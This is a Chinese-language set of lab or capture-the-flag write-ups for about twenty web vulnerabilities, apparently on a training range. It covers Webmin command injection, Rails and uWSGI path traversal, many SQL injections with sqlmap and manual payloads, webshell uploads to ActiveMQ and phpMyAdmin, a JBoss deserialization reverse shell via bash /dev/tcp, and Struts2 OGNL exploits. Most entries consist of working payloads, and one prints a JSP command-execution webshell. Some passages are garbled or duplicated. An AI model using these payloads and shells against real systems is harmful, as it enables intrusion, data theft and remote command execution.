1.1.1.uWSGI 漏洞复现(CVE-2018-7490)
测试详情
查找CVE-2018-7490漏洞,此漏洞构造…%2f可以访问任意文件,目录遍历,在key.txt前面多添加/…%2f…%2f…%2f…%2就可以得到key
1.1.2.Webmin未经身份验证的远程代码执行
测试详情
Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。
受影响的版本:Webmin<=1.920
抓包
修改包
第一步,修改路径 session_ login.cgi 为 password_change.cgi
第二步,修改Cookie为 Cookie: redirect=1; testing=1;sid=x; sessiontest=1
第三步,修改参数 user=jammny&pam=&expired=2&old=test1|ls /&new1=test2&new2=test2
Cat /key.txt
注:无需|,直接注入
使用cve进行
1.1.3.Ruby On Rails漏洞复现第一题(CVE-2018-3760)
测试详情
查询资料,有固定路径,/assets/存在漏洞
输入:/assets/file:%2f%2f/etc/passwd
Payload:/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
使用curl命令返回也行
1.1.4.RX-Forwarded-For注入漏洞实战
测试详情 X-Forwarded-For的输入可控
Burp抓包并在数据包中添加X-Forwarded-For:* 这里的*会让sqlmap重点扫描, 注意这里X-Forwarded-For:必须和下方参数username隔开一行才有效
2.将数据包保存到文件用sqlmap扫描或者使用Burp插件Jython、CO2调用sqlmap扫描
py2 sqlmap.py -r 1.txt --batch 直接扫出XFF注入
py2 sqlmap.py -r 1.txt --batch --dbs 注出information_schema库和webcalendar库
py2 sqlmap.py -r 1.txt --batch -tables -D “webcalendar” 注出user和password表
python2 sqlmap.py -r 1.txt --batch --dump-all -T"user" -D"webcalendar" 暴躁dump出user里全部内容
得到admin/1832030811
1.1.5.ActiveMQ任意文件写入漏洞分析溯源
测试详情 Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作。
ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。
默认的ActiveMQ的账号和密码均为admin,利用put的方法在/fileserver/中上传webshell
由于上传的是文本文件并不能被服务器解析,所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录并更改后缀为jsp。
可以解析jsp文件的路径有:
1./opt/activemq/webapps/api
2./opt/activemq/webapps/admin
1.1.6.ActiveMQ任意文件写入漏洞分析溯源
测试详情 首先尝试在linux环境下完成shell反弹,在kali虚拟机内采用反序列化生成工具JavaDeserH2HC-master。
cd到JavaDeserH2HC-master的目录下,执行以下命令:
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java ‘bin/bash -i>&/dev/tcp/192.168.xxx.xxx/1234<&1’
该命令产生一个ser文件ExampleCommonsCollections1WithHashMap.ser
命令中的ip是虚拟机的网络ip,可以通过ifconfig查看,端口为nc所监听的端口,可以随便设置。这里执行nc -vv -l -p 1234开启监听。
将之前产生的ser文件post到存在反序列胡漏洞的url上,执行命令为:
curl http://219.153.49.228:41878/jbos(敏s感m词)q-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
正常情况下,1234端口就能接受到反弹回来的shell,然而这里的靶机有做限制,所以最终选择用DeserializeExploit工具完成。
1.1.7.WebShell文件上传漏洞分析溯源
测试详情 使用Apahce,php
尝试上传PHP,返回不允许上传该类型文件,修改后缀为php3,php4均可成功解析PHP,随后上传一句话木马,蚁剑成功连接
1.1.8.SQL手工注入漏洞测试(Sql Server数据库)
测试详情 解题步骤:
1、检测注入点:“2 and 1=1”页面正常;“2 and 1=2”页面异常;
2、检测回显字段:“1 order by 4”页面正常;“1 union all select ‘1’,‘2’,‘3’,‘4’”;
3、获取数据库名:“1 union all select ‘1’,db_name(),‘3’,‘4’”;
4、获取数据表名:“1 union all select ‘1’,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘U’)”;
5、获取字段名:“1 union all select ‘1’,(select top 1 col_name(object_id(‘manage’),n) from sysobjects),‘3’,‘4’”;
6、获取数据项:“1 union all select ‘1’,(select top 1 username from manage),‘3’,‘4’”及“1 and union all select ‘1’,(select top 1 password from manage),‘3’,‘4’”;
7、获取用户名,解码哈希值,登录后拿到key,提交并完成实验;
1.1.9.HTML前端代码分析(暗链)
测试详情 查看页面源码
访问
1.1.10.SQL手工注入漏洞测试(MySQL数据库)
测试详情 发现有滚动的通告条,点击进去,发现url中有可疑的点 /new_list.php?id=1。
针对参数id进行测试,输入单引号,双引号,括号等,没有任何反馈信息,判断为基于时间的盲注。
最后尝试直接将id修改为2,页面正常响应,但无内容显示,判断为int型注入。
进一步构造爆库payload:id=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata#。得到库:information_schema,mozhe_Discuz_StormGroup,mysql,performance_schema,sys。
爆表payload:id=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’#。得到表:StormGroup_member,notice。
爆字段:id=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=‘StormGroup_member’#。得到字段:id,name,password,status。
dump出表的值:id=2 union select 1,2,group_concat(name,’-’,password),4 from mozhe_Discuz_StormGroup.StormGroup_member #。得到两个账号:mozhe-356f589a7df439f6f744ff19bb8092c0,mozhe-d74f577fe2322a83d2d4a9f9d64dd6df。md5解密,得到正确的密码。登录,成功。
1.1.11.SQL手工注入漏洞测试(MySQL数据库)
测试详情 1.判断注入类型
?id=1 and 1=1 (返回正常)
?id=1 and 1=2 (返回错误)
由此可以确认存在数字型注入漏洞
2.猜测表名
表名猜测为root、user、users、admin、administrator等
?id=1 and exists (select * from users) (返回错误)
?id=1 and exists (select * from admin) (返回正常)
由此可知表名为admin
3.猜测列名
常用的账户字段名和密码名有user、name、admin、rootname、username、password,pwd,pass,passwd
?id= select username from admin (返回正常)
?id= select passwd from admin (返回正常)
由此推断出admin表里面含有username和passwd列
4.判断字段数
?id=1 order by 5 (返回错误)
?id=1 order by 4 (返回正常)
由此可知表名的字段数为4
5.判断回显位
?id=1 union select 1,2,3,4 from admin
返回2是回显位
6.获取字段内容
?id=1 union select 1,username,3,4 from admin
返回username的内容位moke
?id=1 union select 1,passwd,3,4 from admin
返回passwd的内容为 7e6ec4fadf84938f 一看是加密过的字符串,通过MD5解密得到密码为:27737201
最后通过输入账户密码得到key
1.判断注入类型
?id=1 and 1=1 (返回正常)
?id=1 and 1=2 (返回错误)
由此可以确认存在数字型注入漏洞
2.猜测表名
表名猜测为root、user、users、admin、administrator等
?id=1 and exists (select * from root) (返回错误)
?id=1 and exists (select * from user) (返回错误)
?id=1 and exists (select * from users) (返回错误)
?id=1 and exists (select * from admin) (返回正常)
由此可知表名为admin
3.猜测列名
常用的账户字段名和密码名有user、name、admin、rootname、username、password,pwd,pass,passwd
?id= select username from admin (返回正常)
?id= select passwd from admin (返回正常)
由此推断出admin表里面含有username和passwd列
4.判断字段数
?id=1 order by 10 (返回错误)
?id=1 order by 5 (返回错误)
?id=1 order by 3 (返回正常)
?id=1 order by 4 (返回正常)
由此可知表名的字段数为4
5.判断回显位
?id=1 union select 1,2,3,4 from admin
返回2是回显位
6.获取字段内容
?id=1 union select 1,username,3,4 from admin
返回username的内容位moke
?id=1 union select 1,passwd,3,4 from admin
返回passwd的内容为 7e6ec4fadf84938f 一看是加密过的字符串,通过MD5解密得到密码为:27737201
最后通过输入账户密码得到key
1.1.12.表单暴力**实训(第1题)
测试详情 第一步:访问题目给出页面,使用BP进行目标页面地址设置(包括端口)
第二步:账号输入admin,密码随意输入(自己知道)
第三步:使用BP拦截目标数据,设置PW为**点。
第四步:设置线程(我使用的100线程)和回响时间(我默认2000了)并导入0-9999字典(自己生成或者网上找一下,多滴很),开始**!
第五步:完成后寻找不同长度的回响(都是2000,只有一个是2002),对应的PW是0952.
第六步:我试着登录了一下,得到key
1.1.13.表单SQL注入漏洞测试(宽字节)
宽字节注入原理:
前提条件:满足目标程序使用双/多字符集进行解析
magic_quptes_gpc魔术引号开关过滤了单引号‘ 双引号" 反斜杠与NULL等字符都会被加上反斜线进行转义宽字节注入就是找到用一个16进制的字符与魔术引号产生的反斜杠合成一个汉字,从而逃逸出去,使sql语句代码可以成功闭合并执行
反斜杠的编码是%5c,根据gbk编码%df%5c就是中文’運’字
3、在id=1%df’ 这样魔术引号会把单引号’转义变成’,而前面%df与变成%df,根据GBK编码,就是運字,红箭头的就是運字,成功报错
4、查看回显的位置并判断有多少字段,-1%df%27 union select 1,2,3,4%23
-1%df%27 union select 1,2,3,4,5%23 没报错那就是5个字段
5、爆表
-1%df%27 union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database()%23
6、爆字段
字符转十六进制http://www.bejson.com/convert/ox2str/
stormgroup_member的十六进制的数为
0x73746f726d67726f75705f6d656d626572
-1%df%27 union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572%23
7、爆值
-1%df%27 union select 1,2,3,4,group_concat(name,0x7e,password) from stormgroup_member%23
3114b433dece9180717f2b7de56b28a3
md5:528469
e0c388fd1560531dc1d915b7dfa5711d
md5:715457
8、登录
账号:mozhe
密码:715457
第一个密码是不行的
key:
mozhe0d4e0ca21a3cc6a3e60f3ae0df9
1.1.14.phpMyAdmin后台文件包含分析溯源
测试详情 进入后台,使用弱口令尝试进入
如admin~admin,root-root等
点到SQL,可以进行sql语句select ‘<?php eval($_POST[giao]);?>’ into outfile ‘/var/www/html/2.php’,使用菜刀连,拿到key
1.1.15.Ruby On Rails漏洞复现第二题(CVE-2019-5418)
测试详情 访问robots并抓包,
通过CVE-2019-5418得知通过访问“/chybeta”路径,修改Accept为 …/…/…/…/…/…/etc/passwd{{ 实现文件读取;
又robots得,改/robots,修改Accept为任意文件地址:payload: …/…/…/…/…/…/…/…/etc/passwd 成功获取key
1.1.16.WebShell文件上传漏洞分析溯源(第3题)
测试详情 此文件上传是通过判断文件类型,通过制作图片码,再用burp抓包修改文件后缀名为.php,上传成功。
1.1.17.登录密码重置漏洞分析溯源
测试详情 1.打开靶场,下方提示已注册号码18868345809。
2.使用该号码获取短信验证码,输入18868345809,密码和验证码,获取短信验证码。
3.获取到后,把手机号改为17101304128,重置密码,获取key。
1.1.18.ActiveMQ任意文件写入漏洞分析溯源
测试详情 文件写入的几种利用方式
1 写入webshell
2 写入 cron 或 ssh key
3 写入 jar 或 jetty.xml 等库和配置文件
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh
key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
默认密码为admin,/fileserve/存在put方法,抓包,通过put上传jsp木马
<%
if(“023”.equals(request.getParameter(“pwd”))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“i”)).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("
");");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
}
%>
发现并不能解析
移到api下
Destination: file:///opt/activemq/webapps/api/shell.jsp
查找根目录
1.1.19.JBoss 5.x / 6.x反序列化漏洞分析溯源
测试详情 漏洞编号为CVE-2017-12149
该漏洞存在于 /invoker/readonly 中,产生原因是JBoss在将用户Post提交的数据进行反序列化时,没做安全过滤,直接利用工具getshell
1.1.20.Apache Struts2远程代码执行漏洞(S2-032)复现
测试详情 使用exp:
%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@[email protected]().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=[命令]
访问页面:http://219.153.49.228:41481/?method:此处放exp
1.1.21.Apache Struts2远程代码执行漏洞(S2-037)
测试详情 使用exp
EXP:
%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=[命令]
访问 http://219.153.49.228:44144/orders/3/此处放exp